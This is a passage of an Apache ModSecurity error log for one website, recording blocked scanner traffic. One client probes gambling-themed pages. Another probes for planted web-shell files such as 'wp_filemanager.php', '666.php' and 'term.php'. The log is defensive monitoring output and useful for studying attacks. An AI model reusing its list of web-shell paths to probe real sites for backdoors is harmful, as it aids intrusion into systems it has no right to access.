[Sat Apr 25 08:07:51.016325 2026] [:error] [pid 44321:tid 44390] [client 147.135.213.11:59428] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aewF141b5lV-asWa_Y5CNwAAAIc"]
[Sat Apr 25 08:07:53.532745 2026] [:error] [pid 44425:tid 44447] [client 147.135.213.11:59438] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aewF2SUl-VlItvY2tR8trQAAANQ"]
[Sat Apr 25 08:07:55.902511 2026] [:error] [pid 44319:tid 44352] [client 147.135.213.11:42706] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aewF28zJPAVLUb2pWtJj4gAAABc"]
[Sat Apr 25 08:07:58.416851 2026] [:error] [pid 44320:tid 44359] [client 147.135.213.11:42720] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aewF3jmFqSpku_dij8iInAAAAEM"]
[Sat Apr 25 08:08:00.945738 2026] [:error] [pid 44425:tid 44440] [client 147.135.213.11:42728] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aewF4CUl-VlItvY2tR8twQAAAM0"]
[Sat Apr 25 08:08:22.095552 2026] [:error] [pid 44425:tid 44435] [client 147.135.213.11:42742] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aewF9iUl-VlItvY2tR8t2QAAAMg"]
[Sat Apr 25 08:08:24.594663 2026] [:error] [pid 44320:tid 44377] [client 147.135.213.11:53336] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aewF-DmFqSpku_dij8iIqAAAAFU"]
[Sat Apr 25 08:08:27.048442 2026] [:error] [pid 44319:tid 44332] [client 147.135.213.11:42696] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aewF-8zJPAVLUb2pWtJj_gAAAAM"]
[Sat Apr 25 08:08:29.565889 2026] [:error] [pid 44321:tid 44393] [client 147.135.213.11:42708] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aewF_Y1b5lV-asWa_Y5CewAAAIo"]
[Sat Apr 25 08:08:32.081010 2026] [:error] [pid 46083:tid 46088] [client 147.135.213.11:42718] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aewGADxw_Zq74vWdjmlk7gAAAQE"]
[Sat Apr 25 08:08:34.581519 2026] [:error] [pid 44321:tid 44404] [client 147.135.213.11:42726] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aewGAo1b5lV-asWa_Y5CgQAAAJU"]
[Sat Apr 25 08:08:37.100446 2026] [:error] [pid 46083:tid 46090] [client 147.135.213.11:37824] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aewGBTxw_Zq74vWdjmlk9wAAAQM"]
[Sat Apr 25 08:08:39.590214 2026] [:error] [pid 44425:tid 44440] [client 147.135.213.11:37832] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aewGByUl-VlItvY2tR8t3AAAAM0"]
[Sat Apr 25 08:08:42.103459 2026] [:error] [pid 46083:tid 46087] [client 147.135.213.11:37846] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aewGCjxw_Zq74vWdjmlk_wAAAQA"]
[Sat Apr 25 08:08:44.602082 2026] [:error] [pid 46083:tid 46102] [client 147.135.213.11:37848] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aewGDDxw_Zq74vWdjmllBAAAAQ8"]
[Sat Apr 25 08:08:46.964712 2026] [:error] [pid 46083:tid 46107] [client 147.135.213.11:57144] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aewGDjxw_Zq74vWdjmllBgAAARM"]
[Sat Apr 25 08:08:49.442497 2026] [:error] [pid 44321:tid 44400] [client 147.135.213.11:57152] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aewGEY1b5lV-asWa_Y5CjQAAAJE"]
[Sat Apr 25 08:08:51.922550 2026] [:error] [pid 46083:tid 46087] [client 147.135.213.11:57168] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aewGEzxw_Zq74vWdjmllDAAAAQA"]
[Sat Apr 25 08:08:54.245356 2026] [:error] [pid 46083:tid 46097] [client 147.135.213.11:57182] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aewGFjxw_Zq74vWdjmllGQAAAQo"]
[Sat Apr 25 08:08:56.569955 2026] [:error] [pid 44425:tid 44446] [client 147.135.213.11:50282] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aewGGCUl-VlItvY2tR8t4gAAANM"]
[Sat Apr 25 08:08:58.887625 2026] [:error] [pid 46083:tid 46096] [client 147.135.213.11:50292] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aewGGjxw_Zq74vWdjmllKgAAAQk"]
[Sat Apr 25 08:09:01.368611 2026] [:error] [pid 46083:tid 46107] [client 147.135.213.11:50298] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aewGHTxw_Zq74vWdjmllLQAAARM"]
[Sat Apr 25 08:59:50.124608 2026] [:error] [pid 44320:tid 44373] [client 43.157.62.101:32864] [client 43.157.62.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aewSBjmFqSpku_dij8iSwQAAAFE"]
[Sat Apr 25 09:54:59.050424 2026] [:error] [pid 46083:tid 46112] [client 182.44.12.37:50525] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aewe8zxw_Zq74vWdjmmR2AAAARg"]
[Sat Apr 25 09:56:40.258747 2026] [:error] [pid 44319:tid 44349] [client 51.107.77.218:65187] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aewfWMzJPAVLUb2pWtJ0BwAAABQ"]
[Sat Apr 25 09:56:40.917242 2026] [:error] [pid 44321:tid 44385] [client 51.107.77.218:65205] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aewfWI1b5lV-asWa_Y5bOwAAAII"]
[Sat Apr 25 09:56:48.196122 2026] [:error] [pid 44425:tid 44447] [client 51.107.77.218:63630] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aewfYCUl-VlItvY2tR9N-QAAANQ"]
[Sat Apr 25 09:56:48.769775 2026] [:error] [pid 46083:tid 46107] [client 51.107.77.218:64748] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aewfYDxw_Zq74vWdjmmTdgAAARM"]
[Sat Apr 25 09:56:49.521557 2026] [:error] [pid 44321:tid 44388] [client 51.107.77.218:5494] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aewfYY1b5lV-asWa_Y5bRAAAAIU"]
[Sat Apr 25 09:56:50.232578 2026] [:error] [pid 44319:tid 44337] [client 51.107.77.218:64196] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aewfYszJPAVLUb2pWtJ0DAAAAAg"]
[Sat Apr 25 09:56:51.135167 2026] [:error] [pid 44319:tid 44351] [client 51.107.77.218:5380] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aewfY8zJPAVLUb2pWtJ0EAAAABY"]
[Sat Apr 25 09:56:51.979681 2026] [:error] [pid 46083:tid 46094] [client 51.107.77.218:64216] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aewfYzxw_Zq74vWdjmmTfgAAAQc"]
[Sat Apr 25 09:56:52.503747 2026] [:error] [pid 44319:tid 44334] [client 51.107.77.218:65215] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aewfZMzJPAVLUb2pWtJ0EwAAAAU"]
[Sat Apr 25 09:56:53.098583 2026] [:error] [pid 44425:tid 44429] [client 51.107.77.218:65163] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aewfZSUl-VlItvY2tR9N_AAAAMI"]
[Sat Apr 25 09:56:54.446419 2026] [:error] [pid 44425:tid 44444] [client 51.107.77.218:65165] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aewfZiUl-VlItvY2tR9N_QAAANE"]
[Sat Apr 25 09:56:55.055956 2026] [:error] [pid 44425:tid 44431] [client 51.107.77.218:5467] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aewfZyUl-VlItvY2tR9N_wAAAMQ"]
[Sat Apr 25 09:56:55.683991 2026] [:error] [pid 46083:tid 46099] [client 51.107.77.218:5573] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aewfZzxw_Zq74vWdjmmThQAAAQw"]
[Sat Apr 25 09:56:56.307517 2026] [:error] [pid 44320:tid 44377] [client 51.107.77.218:64198] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aewfaDmFqSpku_dij8ibJAAAAFU"]
[Sat Apr 25 09:56:57.056023 2026] [:error] [pid 46083:tid 46091] [client 51.107.77.218:65159] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aewfaTxw_Zq74vWdjmmTjQAAAQQ"]
[Sat Apr 25 09:56:57.891624 2026] [:error] [pid 46083:tid 46110] [client 51.107.77.218:5388] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aewfaTxw_Zq74vWdjmmTkQAAARY"]
[Sat Apr 25 09:56:58.687795 2026] [:error] [pid 44319:tid 44348] [client 51.107.77.218:5598] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aewfaszJPAVLUb2pWtJ0JgAAABM"]
[Sat Apr 25 09:56:59.213567 2026] [:error] [pid 46083:tid 46095] [client 51.107.77.218:5453] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aewfazxw_Zq74vWdjmmTlgAAAQg"]
[Sat Apr 25 09:57:00.794311 2026] [:error] [pid 44319:tid 44329] [client 51.107.77.218:5625] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aewfbMzJPAVLUb2pWtJ0KwAAAAA"]
[Sat Apr 25 09:57:02.015265 2026] [:error] [pid 44319:tid 44330] [client 51.107.77.218:5402] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aewfbszJPAVLUb2pWtJ0MgAAAAE"]
[Sat Apr 25 09:57:02.796029 2026] [:error] [pid 44425:tid 44440] [client 51.107.77.218:63643] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aewfbiUl-VlItvY2tR9OBQAAAM0"]
[Sat Apr 25 09:57:03.537599 2026] [:error] [pid 44425:tid 44429] [client 51.107.77.218:64757] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aewfbyUl-VlItvY2tR9OBwAAAMI"]
[Sat Apr 25 09:57:04.350208 2026] [:error] [pid 44321:tid 44403] [client 51.107.77.218:63658] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aewfcI1b5lV-asWa_Y5bTwAAAJQ"]
[Sat Apr 25 09:57:04.920358 2026] [:error] [pid 44321:tid 44399] [client 51.107.77.218:5414] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aewfcI1b5lV-asWa_Y5bUQAAAJA"]
[Sat Apr 25 09:57:05.913033 2026] [:error] [pid 44321:tid 44404] [client 51.107.77.218:5589] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aewfcY1b5lV-asWa_Y5bVQAAAJU"]
[Sat Apr 25 09:57:07.007863 2026] [:error] [pid 44320:tid 44357] [client 51.107.77.218:64214] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aewfczmFqSpku_dij8ibKgAAAEE"]
[Sat Apr 25 09:57:07.692471 2026] [:error] [pid 44320:tid 44379] [client 51.107.77.218:64737] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aewfczmFqSpku_dij8ibLgAAAFc"]
[Sat Apr 25 09:57:08.241421 2026] [:error] [pid 44425:tid 44445] [client 51.107.77.218:63639] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aewfdCUl-VlItvY2tR9OCwAAANI"]
[Sat Apr 25 09:57:08.968403 2026] [:error] [pid 44321:tid 44406] [client 51.107.77.218:5606] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aewfdI1b5lV-asWa_Y5bWAAAAJc"]
[Sat Apr 25 09:57:09.566150 2026] [:error] [pid 46083:tid 46105] [client 51.107.77.218:64731] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aewfdTxw_Zq74vWdjmmTvAAAARI"]
